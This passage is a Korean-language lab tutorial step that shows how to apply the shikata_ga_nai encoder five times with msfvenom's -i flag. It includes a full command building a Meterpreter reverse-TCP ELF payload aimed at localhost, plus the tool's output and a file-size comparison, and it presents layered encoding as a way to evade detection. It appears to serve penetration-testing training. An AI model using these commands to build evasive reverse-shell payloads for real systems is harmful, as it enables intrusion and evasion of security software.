-i 플래그를 사용하여 여러 인코딩 반복 적용하기
이 단계에서는 -i 플래그를 사용하여 동일한 페이로드에 인코더를 여러 번 적용하는 방법을 배웁니다. 이론적으로 여러 계층의 인코딩은 페이로드를 더욱 탐지하기 어렵게 만듭니다.
이는 효과적으로 들리지만 절충점이 있습니다. 각 인코딩 반복은 새로운 디코더 스텁을 추가하여 페이로드의 전체 크기를 증가시킵니다. 또한, 때로는 보안 소프트웨어가 탐지할 수 있는 반복적인 패턴을 생성할 수 있습니다.
동일한 페이로드에 x86/shikata_ga_nai 인코더를 5 번 적용해 보겠습니다. 이전 페이로드와 비교하기 위해 이 새로운 페이로드를 multi_encoded_payload.elf로 저장할 것입니다.
-i 5 플래그를 추가하여 다음 명령을 사용하십시오.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf
msfvenom은 이제 인코더를 다섯 번 적용합니다. 각 반복을 보여주는 출력을 확인하십시오.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes
이제 ls -l을 사용하여 단일 인코딩된 페이로드와 다중 인코딩된 페이로드의 파일 크기를 비교하십시오.
ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf
보시다시피, multi_encoded_payload.elf는 반복적인 인코딩 프로세스로 인해 encoded_payload.elf보다 훨씬 큽니다.